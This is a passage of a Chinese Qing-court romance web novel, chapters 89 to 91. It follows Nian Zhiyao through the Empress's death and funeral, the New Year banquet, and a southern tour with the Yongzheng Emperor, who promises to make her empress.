四爷看见瑶儿认真询问的模样就有些想笑,他知道瑶儿在意辈分,便装作认真的样子端详着自家皇贵妃的脸,只是看着看着,他不免有些沉默。
看着四爷一言不发,本来是开玩笑的年芷瑶有些慌了,难道她真老了,不对啊,她记得早上照镜子的时候自己还是好看的紧呀。
就在她忍不住出声询问的时候,四爷突然叹了一口气,道:“瑶儿仍旧年轻貌美,可朕却老了。”
瑶儿的模样和入府时相比并没有什么变化,想来连岁月匆匆都格外厚待美人,时光并未在瑶儿身上增添半点痕迹,只为她添了几分惑人的风韵。
年芷瑶听到四爷这般说,不免笑了笑,而后她仰头亲了四爷一口,“爷一点都不老,我觉得爷好看的很呢。”
四爷:“惯会说好听的哄朕。”
年芷瑶笑道:“万岁明鉴,臣妾可是真心的。”
第89章 第89章皇后薨了
夜半,十三爷正骑着快马往圆明园这赶。
苏培盛悄声过来回禀,“万岁。”
四爷瞧见他,便知有事发生,不然苏培盛不会敢在半夜过来的,四爷起身,“什么事。”
苏培盛低声道:“守备的侍卫说是看着十三爷往这过来了。”
四爷皱眉:“几个人。”
苏培盛:“只身一人。”
四爷点了点头。
年芷瑶听见动静,迷迷糊糊地睁眼,看着四爷和苏培盛站在一旁,顿时惊了一瞬,“怎么了。”
四爷拍了拍她,“十三过来了,我去前头看看,你继续睡吧。”
年芷瑶更惊讶了,这个时辰九门可是早就关了,十三怎么这个时辰过来了。
四爷走后,白芨过来扶她:“娘娘可要再睡会儿。”
年芷瑶摆了摆手,“我怎么还能睡得着,先等等吧。”
白芨担心地看了主子一眼,点头称是。
十三爷翻身下马,苏培盛早就等在了门口,他道:“十三爷,万岁说让您去九州清晏见他。”
十三爷点头,他理了理神色跟着苏培盛走了过去。
见了四爷,他一脸悲戚地跪倒在地,“万岁,皇后娘娘殁了。”
四爷顿了顿,然后开口道:“什么时候的事。”
十三爷:“昨夜子时。”
皇后没了,可皇上和太后都不在宫里,内务府的人只能出宫来寻他,十三知道信后便连忙拿了牌子出城。
四爷点了点头,语气倒是十分平静,他说:“朕知道了。”
十三爷微微抬头,“那皇后娘娘的丧事。”
皇后没了,丧事是什么流程还得让四爷来拿主意。
四爷:“按照规矩办便是。”
“是。”十三爷明白了,这是丧事的规格不增不减,一切只按规矩来的意思。
得了四爷的回信,十三连忙起身,四爷要回宫也得等天亮了,宫里的事还得他过去操持。
他拿了四爷的手谕,翻身上马,对着出来送他的苏培盛说道:“辛苦苏公公了。”
苏培盛低头:“十三爷客气了,皇后娘娘去世,万岁爷悲痛万分,不能自已,还望十三爷多劝慰。”
这个人精,十三爷对他点了点头,策马走了。
年芷瑶等到天光微亮才见到四爷回来,她连忙迎了上去,“爷,出了什么事了。”
四爷抚了抚她的脸,“怎么没接着睡。”
年芷瑶:“我怎么还能睡着。”她又问了一遍:“可是宫里出什么事了。”
她也不傻,能让十三爷半夜出城的定不是什么小事,是皇后那出事了吗。
四爷开口道:“皇后没了。”
年芷瑶怔愣了片刻才回过神来,“什么时候的事。”
四爷:“说是子时。”
他叹了口气,道:“你养养精神,一早便有的忙了。”
年芷瑶缓慢地点了个头。
自从两个月前,太医便说皇后怕是不好了,宫里也早早做足了准备,一应行头都早已准备好了,说句不好听的,就等着皇后咽气了。
可真到了这一天,年芷瑶还是有些不敢相信,皇后就这么没了。
就她进府后,皇后便连连与她作对,最开始是借着李氏的手,而后是钮祜禄氏,年芷瑶知道皇后对弘昭出手后,未必没有咒皇后早逝的心,可皇后真没了,她却觉得心里有种说不出的滋味。
四爷拍了拍她的手道:“别怕,可要去歇一歇。”
年芷瑶摇了摇头,“不了,皇后没了,还要去给皇额娘说一声。”她吐了一口气,“我亲自去吧。”
四爷:“也好,让皇额娘不必担心。”
年芷瑶点头,她先去换了衣服,然后坐了马车去了畅春园,出门的时候圆明园四处的装点已经被摘撤了下来,换了素色的绸缎。
进畅春园的一路上畅通无阻。
太后见她这么早过来,便知道是有事发生,开口问道:“你来了,出什么事了。”
年芷瑶也不耽搁,开口便是:“皇额娘,皇后娘娘没了。”
太后微微挑眉,像是一点都不惊讶,她道:“哀家知道了,哀家这你不用担心,倒是宫里事多,你去忙吧。”
年芷瑶点头称是,又让福嬷嬷照顾好太后,转头上了回宫的马车,她如今是皇贵妃,皇后没了,她还得尽快到场才是。
等年芷瑶回宫之后,宫内已经一片缟素。
白芨看了主子一眼,“娘娘,可要先回永寿宫。”
年芷瑶:“不,直接过去吧。”
皇后的梓宫停在了景仁宫。
景仁宫里已经布置好了,宫里的嫔妃也都到了,年芷瑶还看见了许久未见的面孔,比如说李氏和钮祜禄氏。
见着她的视线,李氏和钮祜禄氏都不约而同地将头低了下去。
李氏是再无争的余地,钮祜禄氏则想得更多一些,皇后没了,她往日的手段也都成了笑话,日后若真是皇贵妃的阿哥继位,她的弘历又该如何自处。
只有耿氏颇为热情地起身迎她,“娘娘来了。”
年芷瑶冲她点了点头,“辛苦你了。”
耿氏:“臣妾没做什么,倒是娘娘这么早就从园子里赶了过来,才是辛苦呢。”
时间有限,年芷瑶只简单同她寒暄了两句,便出门交代事情了,皇后去世,不论是宫内嫔妃子嗣,还是宫外宗室命妇都得过来哭灵。
命妇们进宫没有那么方便,但想来一会儿也就都该到了,若是出了差池,可就不好了。
见皇贵妃离开,耿氏像是自言自语地开口:“皇后娘娘没了,皇贵妃娘娘可就越发辛苦了呢。”
没过一会儿,她的几个孩子也都来了,连同弘历弘昼一起在皇后宫里守灵。
她看着弘历哭的实在伤心,人也受瘦了不少,也不知道是在哭皇后还是在哭自己。
四爷倒是没来过,只撂下一句话说皇后过身,他悲痛万分,实在不忍前来亲
看,便独自去处理朝政了。
最前头一波的命妇已经到了,只是如今还是在皇后灵前,就有不少人趁机靠了过来,还有说是自小看她就有凤命,如今一看果然不假,年芷瑶听后只觉得心中讽刺。
晚间,四爷过来见她神色不好,便问道:“可是累着了。”
年芷瑶摇头,对他解释了一番,她叹息:“皇后才过世呢。”
她虽不喜欢皇后,但也没有这么快就将她的存在抹平的打算。
四爷拍了拍她:“世间最多便是这趋炎附势之辈,闻着点肉腥味便想着凑过去,不必理会她们。”
年芷瑶看向四爷,“爷。”
“嗯。”
年芷瑶对上四爷温柔的眼神,将心中的话咽了回去,四爷这么喜欢她,将来定不会这样对她的吧。
她靠在四爷身上,“没事,就是想叫叫爷。”
四爷感到瑶儿的依赖,心中柔然。
年芷瑶看着过来给她请安的几个孩子,关心地问道:“累不累。”
皇后去世,连弘暘都要奶娘抱着去景仁宫的灵堂示意,虽说她在前头对几个孩子也是多番照顾,可皇后是嫡母,身为皇子该有的礼数都是必不可少的,几日哭灵下来,到底是辛苦。
弘昭摇头,“儿子无事,额娘这可还好。”
如今皇后病逝,一应事务都要额娘来操持,想来也是辛苦极了。
年芷瑶冲他安慰地笑笑,“额娘没事,放心吧。”
皇后的金棺在宫里停了七日,便被送去了清西陵,四爷下旨让弘昼弘昭一同去送的灵。
年芷瑶看着皇后的棺椁出了宫,到底是松了一口气,等她回了永寿宫,白芨连忙带着人给她打了热水泡脚。
白芨心疼道:“娘娘这几日可是真累着了,明日可要好生歇歇。”
年芷瑶点头,“放心吧。”
皇后的丧事暂且告了一段落,总算是没出什么差错,她也终于能缓一缓了。
操持丧事是个辛苦活,许多事虽不用她亲力亲为,但心神到底是绷着的,若是这事办得有什么不好,那可真是什么脸面都没了。
四爷过来看她,替她揉了揉肩膀,“累着了吧。”
年芷瑶闻着四爷身上令人安心的味道,想说自己还好,可却实在疲累,下一刻,便在四爷肩上睡着了。
四爷看着她安静的睡颜,挥退了伺候的众人,将她抱到了床上,疼爱地摸了摸瑶儿的面庞,他看得出来瑶儿这些日子心中总有疑虑,但却不好问。
他叹了口气,瑶儿本性纯善。
年芷瑶推开窗户,看着天空中飘起了雪花,叹道:“下雪了啊。”
白芨笑笑,“如今都快要过年了,自然是该下雪了。”
年芷瑶望天,“是啊,时间过得真快啊。”转眼间四爷登基都快六年了。
白芨为她披上斗篷,“主子,小心着凉。”
年芷瑶笑着看她,“陪我出去走走吧。”
白芨惊讶,“现在嘛。”
年芷瑶点头。
两人散步在御花园中,天空中的雪花不大不小的,还没有开始积雪,雪花落在地上,很快就消失不见了。
几个小太监提着灯笼走在前头,白芨将油纸伞撑在主子头上,亦步亦趋地跟着她。
白芨开口道:“主子可是有什么心事。”
她自小伺候主子,对主子心思不说全然了解,但到底也知道一些。
年芷瑶看了看她,“也没什么,我只是在想,你说后世的人该会如何评论我和四爷呢。”
她将视线移向御花园的花木,如今寒冬腊月的,御花园到处也都是光秃秃的,之前还挂了些彩绸做装饰,如今皇后刚去,虽说缟素已经撤下,可张灯结彩的到底也不合适。
故而御花园也就恢复了原本的样貌,暖房里倒是有一些花匠精心养育的几株鲜花,可也得在暖和的屋子里赏玩才行。
年芷瑶道:“评价万岁自然是励精图治,可评价我呢。”
她顿了顿说道:“定会夸我是个绝世美人吧。”不然也不会让四爷如此宠爱,宠爱到看不见旁人。
白芨心疼地道:“娘娘,您这是说什么呢,万岁和太后娘娘都说了您秉性柔嘉,持躬淑慎,那些人怎么敢乱说。”
年芷瑶看着白芨慌乱的面庞,笑了笑,“好了,我是在开玩笑呢。”
她早就想明白了,皇后没有不到的,却是四爷亲手送到她眼前的,虽然对皇后不公,可感情之间,哪来那么多公平可言呢。
即便有人说她红颜祸水又如何,说不得还会有不少人羡慕她呢。
她抖了抖身子,“天太冷了,快回吧。”
白芨答应下来,“哎。”
她嘴笨,不知道说什么来安慰主子,可在她心中,主子便是最好的主子,若是她是皇上,定也会喜欢主子的。
皇后如今这样,那是她咎由自取的,和主子有什么干系。
临近年关,年芷瑶又开始忙了起来,连四爷都没她忙,每每回来都能瞧见她在对着年宴的人员名册。
四爷无奈地将东西拿了过去,“你家爷都回来半晌了,怎么也不见你看朕一眼。”
年芷瑶看他,“我的万岁,您就别跟着添乱了。”
今年过年她这个皇贵妃可是名副其实的成了宫里第一人,从前皇后还在的时候,甭管皇后得不得四爷的宠爱,到底是皇后,也能将进宫的命妇分去一半招待。
可如今所有的人都要她一个人来招待,自然忙得不行,许多人的座位都得重新安排。
和四爷亲近的,关系一般,关系不和的,都要细细考量。
四爷揽住她,“不是说让你交给旁人吗,这么多伺候的人,难道还做不好那么件小事。”
年芷瑶低头咬了他一口,“万岁您可真是站着说话不腰疼,这事就算交给别人,我也不能随便放心啊,这可是我成为皇贵妃的第一年,您也不想让我丢人吧。”
四爷笑了,“那朕让张麒麟过来帮你。”
年芷瑶答应下来:“那真是再好不过了。”
第90章 第90章新年
十四爷的府上着实是有些热闹,前些日子,万岁下旨将十四爷封了郡王,虽说还不能和十三爷的亲王相比,但到底是成了郡王,有了爵位傍身,日后也有东西留给自家孩子。
只是皇后如今的周年祭还未过,不好大肆宴请,只一家人围坐一起吃了顿便饭。
十四爷晚膳后回到正屋,看着还在看着库房单子的福晋,询问道:“这是要给谁送礼。”
十四福晋:“再过几日便是新年,我瞧瞧有什么好东西,准备给皇贵妃送过去。”
十四爷一如既往的直言不讳:“皇贵妃那能缺你这点东西。”
不是说他看不上自家福晋的库房,他四哥好歹也是皇帝,再是勤俭,也不至于亏了自己的女人。
十四福晋合上册子,“皇贵妃缺不缺的,和我送不送的又有什么关系,你和万岁是亲兄弟,我和皇贵妃便是嫡亲的妯娌,若是咱们这辈不把关系处好了,以后到了孩子这辈,只怕会越来越远。”
她虽生了两个儿子,可都不是十四爷的长子,以后十四爷想给哪个阿哥请封世子还不一定呢,她当然要为自己的孩子多考虑一些。
她看向十四爷,“我看用不了多久,万岁便会封皇贵妃为后了。”
想当年皇贵妃还是亲王侧福晋受皇上独宠的时候她心里
还有些酸,如今她是彻底服气了,当年那才哪到哪啊,如今皇贵妃才是独一份呢。
孝宪皇后到死可都没比过皇贵妃去。
十四爷一脸这还用你说的模样,谁不知道皇上将皇贵妃放在了心尖上,也就是皇后无子早逝,若是皇后的嫡子还活着,他四哥在闭眼之前说不定能做出什么来呢。
慈宁宫
太后见她过来,乐呵呵地笑道:“今日怎么过来了,可是有事。”
年芷瑶看向太后,“皇额娘这话说得让儿臣好生伤心,难道无事的话儿臣就不能过来了嘛。”
太后笑她:“好,是哀家说错了,你最有孝心的,那这次过来定是没什么事和哀家说的喽。”
年芷瑶顿了顿,立刻改口道:“皇额娘英明,儿臣还真有一事想求皇额娘。”
太后顿时乐不不行,对着福嬷嬷道:“你瞧瞧她。”
福嬷嬷笑着给皇贵妃上茶:“奴才瞧着皇贵妃是该常来,您一来,太后便开心不少。”
年芷瑶接话道:“嬷嬷说得是,是我来少了。”
太后看她们俩一唱一和的,忙道:“别磨蹭了,快说吧,什么事。”
年芷瑶笑道:“不是什么大事,前日子密太妃生病,儿臣想也是宫中寂寞的缘故,若是皇额娘这儿想找人说说话,何不叫上太妃一块解解闷呢。”
四爷登基后手底下可用之人甚少,想扶持新的人手,又不想用排行靠前的阿哥们。
便将主意打到了十六爷的身上,可十六爷人小位卑,一下子封个爵位也不能服众,四爷就拐了个歪,将十六阿哥过继到了靖亲王一脉,承袭了亲王爵位,如今已做了正红旗的都统。
可既然过继了出去,自然就不能按照四爷说的那样,将生母密太妃接出宫奉养,故而虽说亲生儿子做了亲王,可密太妃还是一直留在宫里养着。
如今密太妃又生了小病,四爷便想着让太后这边多照顾着些,也好彰显天家厚恩,年芷瑶看四爷的意思,想来是想着将十五阿哥也用起来。
太后在宫里待了一辈子,自然一点就通,她与密太妃不甚相熟,虽说十四和十五阿哥的排行相连,可十五是密太妃的头一胎,十四却是她最后一个孩子。
两人之间相差着岁数,自然亲近不起来。
不过既然四爷这么说了,太后便对福嬷嬷道:“既如此,等去畅春园的时候,记得叫上太妃。”
福嬷嬷:“是。”
年芷瑶笑了起来,四爷便是这个意思,可这事由太后开口自然更好一些,她道:“皇额娘慈爱。”
太后摆了摆手,“我一个老婆子,能帮得上你们的忙便是好事。”
年芷瑶,“皇额娘这是哪的话,您是太后,就是天下所有人的皇额娘,您身子康健对万岁爷才是天大的好事。”
太后被她哄得笑个不停,“你惯是能说会道的,哀家可说不过你。”
回宫的路上,年芷瑶对白芨道,“午后提醒我将新年宴席的座次再查一遍,免得出了差错。”
白芨:“是,娘娘放心。”
新年大宴
年芷瑶坐在四爷身边,感受着底下宗室命妇们传来的各类视线,有些心不在焉。
四爷见她出神,为她夹了一筷子清炒食蔬,“这个新鲜,尝尝这个。”
这时候的青菜最是名贵,都是专门培育的洞子菜,比肉还稀罕,想来是四爷看她刚才没吃几口的缘故。
年芷瑶不忍拂了他的好意,便低头吃菜,然后冲他笑笑。
九福晋看着坐在上首的皇贵妃,皇贵妃今日装扮的并不华丽,甚至比往年还要低调一些,想来是因着皇后刚去的缘故,即便皇后不在了,皇贵妃也是十分谨慎。
九爷不着痕迹地碰了碰自家福晋,知道你想看皇贵妃,今日谁都想瞧瞧皇贵妃,但你也别看的这么明显啊。
九福晋收回视线,看了一眼九爷,我看看怎么了,大家不都在看吗。
人怕出名猪怕壮,如今得皇贵妃就是又出名又壮,人人都知道皇上看重她,便都想着走走皇贵妃的门路,甭管能不能真的走成,还不兴让人烧烧热灶了。
九福晋舀了一勺鱼丸吃着,不过这事都和她们府上没什么关系,她家爷既不是十三爷这般一直跟着四爷的好兄弟,又不是和万岁同母的十四爷。
他往年可是一直和万岁不对付,又不像十爷有个显赫的家世,如今能落得个平安,已经很不错了。
只是这膳房的菜倒是不错,九福晋挨个尝了一口,倒是比前几年的席面好吃多了。
四爷带头敬过三旬之后,便让弘昭下去代他敬酒。
他对瑶儿使了个眼色,这次他可没喝多。
年芷瑶嘴角微挑,给他斟了一壶酸梅汤过去,“万岁尝尝这个。”
四爷皱了皱眉,这些个东西他觉得都是女儿家喝的东西,只是杯子在他手里晃了晃,到底是喝了下去。
年芷瑶跟着笑了起来。
四爷点她,“如今是越发促狭了。”
年芷瑶在桌子底下朝他勾了勾手,四爷对她越是纵容,她便越是想看着四爷为她妥协。
三爷看着弘昭下来敬酒,挑了挑眉,“来弘昭,三伯和你喝一个。”
弘昭笑着拱手道:“三伯,侄子敬您。”
年芷瑶看着底下围绕在几个叔伯之间的弘昭,不免有些担心。
四爷安慰她道:“孩子大了,也该让他去闯闯了。”
年芷瑶看他一眼,这话倒是不假,只是在她眼里三爷可远远不如十三爷靠的住,不过想了想,她还是将屁股坐了回去,罢了,三爷再是靠不住,想来也不会为难弘昭。
更何况,还有五爷那个老实人在那呢。
等前头放完烟花,又送走客人,这个年总是过得差不多了,年芷瑶躺在软榻上,只觉得一动也不想动。
看主子像是累着了,白芨连忙带人给她拆下珠寰,又叫了小宫女过来给她按摩。
年芷瑶捏了捏梳了发髻后蹦了一天的头,不由得松了一口气,今年带的首饰还是算的,怎么还是缀的头皮发沉。
白芨:“主子可饿了,小厨房里还有煨着的汤羹点心呢。”
年芷瑶看了看时辰,摇了摇头,都这个点了还是不要吃东西了,虽说她不是个易胖的体质,但如今到底不比年轻代谢高的时候了,一不留神就容易吃多,到时候再想瘦下来就麻烦了。
白芨点头,只为主子送来了一碗安神茶,主子今日累着了,喝些安神茶,能睡得更好一些。
四爷洗漱完,便抱起了一旁的八阿哥,笑道:“让阿玛掂一掂,阿玛的弘暘是不是又重了。”
弘暘十分配合地拍着手,嗓门十分响亮,“阿玛,阿玛,要飞飞。”
年芷瑶一眼看了过去,“快别逗他了,再给他走了困,一会儿便不肯睡了。”
四爷笑着将八阿哥放下,又对八阿哥摆了摆手。
八阿哥小小一个人,就明白了这是飞飞没有了,他撇了撇嘴,看了看额娘的神色,只能满脸不情愿地被奶娘抱走了。
四爷看着他笑了起来。
两人躺在床上,年芷瑶看向四爷,“去看过弘昭了。”
方才宴席散尽后四爷便不见了踪影,她猜他应该是去见弘昭了,四爷这人,说是放手让孩子去做,其实心里最是疼爱孩子了,想来也是担心他。
四爷点头看他,眼里带着些骄傲,“放心吧,弘昭是个好孩子。”
“再过几年,等弘昭和弘晏长大,朕也能轻松不少,到时朕就能多陪陪你了。”
年芷瑶靠在四爷身上,轻轻嗯了一声。
“弘昭没什么事,弘晏倒是忙得很,方才还跟我说,等明年他也要去敬酒呢。”
四爷笑了起来:“好,明年便让他去。”
年芷瑶瞪他一眼。
四爷又笑了,伸手搂住她,“瑶儿不让他去就不去,快睡吧。”
刚过完年,就是四爷也跟着封了御笔,好好歇了几天。
虽然是在她的劝说下才歇下的,但也是一个进步不是吗,至少四爷都学会休息了。
这日天一亮,四爷便将她喊醒,说要带她去骑马。
年芷瑶顾不得惊讶,就被四爷带着去洗漱梳妆,然后坐着马车出了宫。
“这个庄子。”年芷瑶看着有些眼熟的庄子,疑惑地看向四爷。
四爷点头,“这是朕第一次教你骑马的庄子,前年的时候,朕就让人将此地修缮了一番,可还喜欢。”
年芷瑶止不住地点头,“喜欢。”
虽说一个庄子再怎么修都不可能赶得上圆明园,可这都是四爷待她的心意,让她怎么能不喜欢。【魔蝎小说 mo xie xs .c om】
【终章】
第91章 第91章封后
“南巡。”年
芷瑶惊讶地看向四爷,四爷竟然要南巡。
四爷对着她点头,“朕准备下个月便出发,你也同朕一起吧。”
南边汉人多,读书人也多,自从李家几个老臣被抄家之后,南边不少受李家人资助的读书人心中颇为微词,再加上黄河一事复杂,他便准备效仿先帝南巡。
再加上如今朝堂稳定,留十三在京中坐镇,想来不会有什么问题,能带着瑶儿去南边一趟也好。 :
年芷瑶心中有些犹豫,不是她不想去,能出门自然是好的,而是弘暘如今也才两岁多,她着实有些放心不下。
四爷知道她不放心孩子,便开口道:“孩子的事你不必担心,他们也都大了,在宫里相互照顾,不会有什么事的。”
年芷瑶更惊讶了,她本来还只是在想要不要带着小八,谁知道四爷是想一个都不带啊。
四爷道:“只有朕和你两个人去,孩子们都留下来可好。”
瑶儿将几个孩子养的很好,可却有些太过依赖她了,趁着此次出宫,能让孩子们学着锻炼一番也是好的。
听到四爷这么说,年芷瑶瞬间就心动了,没有孩子的二人世界,好像很不错的样子,她对着四爷重重点头,“好。”
本来以为瑶儿会舍不得孩子,还准备再劝一劝的四爷顿住了,随即便笑了起来。
年芷瑶看着大笑的四爷有些不知所措,这有什么好笑的吗。
四爷搂住她,“真是朕的好乖乖。”
年芷瑶被他喊得脸上有些发红。
知道额娘要跟着阿玛去南巡之后,塔娜便开始为额娘收拾着东西,东西一箱一箱地收拾好,一声声吩咐也传了下去,十分干练能干。
年芷瑶在骄傲女儿的时候又心疼地拉过她,“快别忙了,这些都有下人去做呢,让额娘看看你。”
女儿不像弘昭他们,过了六岁就要住在前头,塔娜从出生后还没离开过她身边呢。
四爷没说南巡要去多久,但一走少说也要去几个月,年芷瑶看着已经是大姑娘的塔娜,嘱咐道:“你和小八住在后宫不方便,弘昭和弘晏都在阿哥所,若是有什么事,就派人去找他们。”
塔娜点头,“额娘放心吧,我会照顾好弟弟们的。”
年芷瑶笑笑:“你将自己照顾好便是。”
只是自己还没走,年芷瑶便看出弘晏这孩子已经有些懈怠了,她眯起眼睛,“这些日子你若是将功课落下了,你阿玛回来考校时,我可不会为你求情。”
弘晏苦了脸,“额娘。”好好地说什么功课嘛。
见到弟弟这样,弘昭和塔娜都笑了起来。
年芷瑶看向弘昭,对于这个一直十分可靠的大儿子她着实没什么可担心的,她道:“照顾好自己。”
弘昭点头,“额娘放心,儿子会照顾好姐姐和弟弟们的。”
年芷瑶捏了捏他的肩膀。
只是嘱咐了再多遍,等到临走的时候她还是有些不放心,虽说如今宫里都是他们自己人,又有太后坐镇,怎么也不可能有人与他们作对。
可清楚归清楚,担心还是少不了的。
还是塔娜反过来安慰她道:“额娘,女儿都这么大了,又有那么多的宫女嬷嬷在,定是能照顾好自己,更何况额娘不是教过女儿管理宫务嘛,如今也是该验收成果的时候了,您就和阿玛好好放心出门吧。”
见女儿如此自信,年芷瑶心中的忧虑总算少了一些,她笑了笑,“你在宫里,记得要时常去给太后请安。”
塔娜笑得温柔:“女儿省的。”
她如今长大了,早已明白自己与弘昭之间有何不同,也明白了额娘当初的欲言又止。
她不知道额娘曾经是否可惜自己不是个男儿身,不能出入朝堂,加官晋爵,所以才对她加倍疼爱。
但她不后悔做额娘的女儿,她能活得这么自在,都是靠着额娘,就是同为阿玛女儿的二姐姐,也没像她这般的自由过。
塔娜看着额娘,只觉得心里柔软,现在她长大了,不是那个只能等额娘保护的小女孩了,她也想着去保护额娘。
年芷瑶挥别了来宫门口送行的弘昭,坐上了马车。
这马车是四爷让内务府特制的,宽敞明亮,能并排躺下五个人,如今几个孩子都不在,就显得更为宽敞。
走之前她还舍不得孩子,可真的出了宫之后,年芷瑶又觉得没了孩子围绕在身边的日子是真的自由。
她嘱咐外头的小太监道:“过一会儿你去前头,喊万岁爷过来用午膳。”
即便是在马车上,四爷也依旧没歇下来过,刚才还叫了大臣过去商讨政事,若她不嘱咐四爷用膳,也不知道这人能不能想得起来。
小太监应了下来。
白芨用小锤子砸着核桃,再将剥好的核桃放进小碗里,“娘娘放心,有苏公公在呢,定会照顾好万岁爷的。”
年芷瑶笑笑,“苏培盛那家伙最是滑头,没有好处的事他可不会干。”
就是她的吩咐,每每也是权衡利弊才答应下来,若她失势,想来头一个不认人的就是他苏培盛了。
白芨看了眼主子,主子这话说得倒是不假,苏公公这人见谁都是一副笑眯眯的热情模样,可心里头却只认万岁爷,旁人一概看不上,万岁爷看重哪个他便讨好哪个。
虽说殷勤周到,可到底让人信不过。
她道:“还是主子看得明白。”
小太监过去没多久,四爷便进了马车,他四处看了看,“可还适应。”
年芷瑶点头,“适应,爷别担心。”
她上学时也曾做过一天一夜的绿皮火车回老家,条件比这艰苦得多,人挤人不说,还闷热难闻,这马车虽说赶路慢了些,可她身为特权阶级,什么东西都应有尽有,感受好很多。
四爷坐了下来,“那就好。”
小太监将午膳摆了一桌子,路上有些颠簸,是以汤羹菜品都没有盛满,想来是怕在万岁面前洒了不雅,年芷瑶笑笑,心道都是些细心人啊。
四爷陪她用过午膳,又被她留下来歇了晌,年芷瑶才放他回了前面,要不然,以她对四爷了解,这人定是不会停下来休息的。
外头景色虽新鲜,但走了几天也都看腻了,年芷瑶打着扇子看了眼跟在马车身边的侍卫,无聊的她都想出去骑马了,好在她问出口之前队伍就到了地方。
南巡的头一站到的是济南,当地知府知道万岁要来的消息本想将家里让出来,可四爷不愿意劳师动众的,便随意住进了一个富商的宅子。
这宅子是当地有名的富商建好准备给家中老人住的,还没入住,四爷就过来了。
他眼巴巴地就将宅子献给了四爷,皇上住过的宅子,那日后可是能吹一辈子的,就是千金也难求啊。
年芷瑶住进了宅子,看着苏培盛跟着鞍前马后的,很快便将一切都给安排好了。
他道:“娘娘先休息,万岁说等晚间再来看您。”
年芷瑶点头:“辛苦苏公公了。”
苏培盛笑得越发谄媚,“为娘娘办事,奴才怎敢称辛苦。”
如今在万岁爷眼里,皇贵妃的事可是一等一的,张麒麟那小子也不知做了什么,竟然得了皇贵妃的眼,今日还想过来伺候呢,让他给抢了先。
年芷瑶笑笑,并未接他的话。
晚间,四爷过来瞧了瞧,看屋子里都布置好了,便点了点头,“住这里可还习惯。”
年芷瑶笑道:“这宅子没什么不好的,屋子宽敞,景色也好。”
就是四爷再不喜奢华,也没人敢拿不好的宅子来糊弄万岁,又不是不要脑袋了。
“那就好。”四爷看她,“朕要先去视察黄河,这几日可能都不能陪你,你若是无聊,就叫伶人来唱戏听曲,或者让人进来说说话,等过几日,朕再陪你出门逛逛。”
年芷瑶点头,她知道四爷南巡是来工作的,不可能日日都陪她游山玩水,她开口道:“爷不用担心我,只是听说济南有名泉,万岁可要记得带
我去看看。”
四爷笑着答应下来:“好,朕一定带你去。”
吃过本地的酒楼,又逛过趵突泉,年芷瑶便又跟着四爷出发了,这还是有她在身边耽搁了缘故,要是四爷一个人,说不定连歇都不歇呢。
很快他们就从马车换成了水路,在水路上就好走多了,晃晃悠悠的很有催眠的效果。
午后,年芷瑶坐在甲板上吹风,如今天气不冷不热的,又在湖边,风吹过她的脸,感觉十分惬意。
四爷出来看她这般洒脱,笑了起来:“怎么坐这了。”
年芷瑶笑着说,“我还没坐过船呢,就想着多出来待一会儿。”
船边的风有些大,四爷为她理了理耳边的碎发,“开心吗。”
“当然开心。”年芷瑶用力点头。
在年府的时候,她时常也能跟着额娘出门,可去的左右也不过是些酒楼,银楼之类地方,要不就是出门礼佛,去庄子上泡温泉。
像如今这样走过不同的地方,看着不同的风景,想想倒是像上辈子的事了。
见瑶儿是真的开心,四爷也笑了起来,他知道瑶儿爱热闹,便想着带她出门逛一逛,如今瞧着倒真的是件好事了。
自古江南都是富庶之地,如今也不例外,到了扬州,想要宴请万岁的官员就更多了,四爷实在不堪其扰,他是来视察百姓民生的,又不是过来吃席的。
可官员能赏能罚,四爷却架不住百姓热情相待,满街都被过来的百姓将路上堵的水泄不通,虽说早早就静了街,侍卫也都在一旁拦着,可街道上也都挤满了人。
别的不说,今日过来的可是皇上啊,想先帝在位六十一载,一共也就南巡了六次,当今圣上登基了六年,今年也是头一次来,错过了这次,谁知道他们这辈子还能不能再见过皇上。
四爷即然是来收揽人心的,就绝不能将眼前的百姓赶走,故而街上侍卫们都是一边拦,一边走,倒是热闹极了。
一路上不停的有官员接见,送礼的数不胜数,更有不少送美人过来的,四爷倒是都给打了回去。
不过上有政策下有对策,四爷不收美人,倒是有不少人朝跟着万岁南巡的皇贵妃那动了心思。
年芷瑶看着满院子的珍宝和几个年轻姣好的女子。
送人的管事说,“这些都是我们大人孝敬娘娘的,都是好人家的姑娘,最是乖巧懂事。”
这些个女子都是家中不显,想上去搏一搏求个富贵的,各个听话懂事,皇贵妃伺候万岁多年,想来也有失宠的烦恼,若是想固宠,少不得要挑个人为万岁送去,何不与他们两两合作,求个双赢呢。
管事的笑得意味深长。
年芷瑶倒是知道这些人心中所想,四爷现下身边无人,只有她这一个皇贵妃,年纪也不小了,又和四爷生了不少孩子。
就算四爷再喜欢她,哪有不贪新鲜的道理,男人嘛,总是最了解男人了,送些人过来也是常事。
四爷如今岁数渐长,虽说早已不再年轻,可底子颇好,肩宽腿长,更何况又身居高位,往那一站便气势逼人,让人不敢细观。
有不愿意的,自然有愿意的,更何况,先帝爷在万岁这个岁数还能夜御两女呢,身边人就没断过,先密太妃不就是在先帝南巡时候,底下官员送过来的汉女嘛,一直颇得先帝宠爱。
不说像密太妃那样能有福气生下三个阿哥,只要生个阿哥,不说一步登天,到底能为家里助益不少,有些人家不舍得将女儿送出来,可总有舍得的。
等四爷晚间回来,见她脸色不对,抬手将她拉到身边:“这是怎么了,谁招你了。”
年芷瑶出言,“说到招人,臣妾哪有万岁招人啊。”
四爷听她话头不对,挑了挑眉毛,看向苏培盛。
苏培盛一进府里就收到了消息,自是知道皇贵妃为何不高兴,只是他不知皇贵妃是想如何处置这些美人。
万一这位想彰显一下自身的大度,将人给万岁送过去,他也得装不知道不是,只是如今一看,得,这位可真是一点大度的心思都没有啊,他连忙上前回禀。
四爷听后沉了脸色,“哪来的人给朕送哪去。”
苏培盛低头,替那些送礼的官员捏了把汗,这正是拍马屁拍到马蹄子身上了,也不看看咱们这位万岁爷和先帝是一样的性子吗,就巴巴地往前头上送人。
送哪不好,还送到皇贵妃跟前来了,他看那些人明日定没有好果子吃,苏培盛下去按万岁的吩咐将人送走,他拍了拍手,真不够给他添乱的。
四爷走到了她身前,“朕无意于那些女子,瑶儿今日怎么还将她们收下了,就该都敢出去才是。”
年芷瑶扭头过去,“您是皇上,想要什么样的女子没有,我哪敢为您做主啊。”
四爷笑道:“怎么做不了主,朕就喜欢瑶儿为朕做主。”
年芷瑶冷哼一声。
四爷握着她的手,“在朕心里,你一直都是朕的妻子,只是之前,朕不得不委屈你。”
年芷瑶眨着眼睛看他,似是没想到他会这样说。
四爷对着她笑了笑,觉得世间没什么比两人心意相通更值得高兴的了,他道:“等回宫,朕便封你为后。”
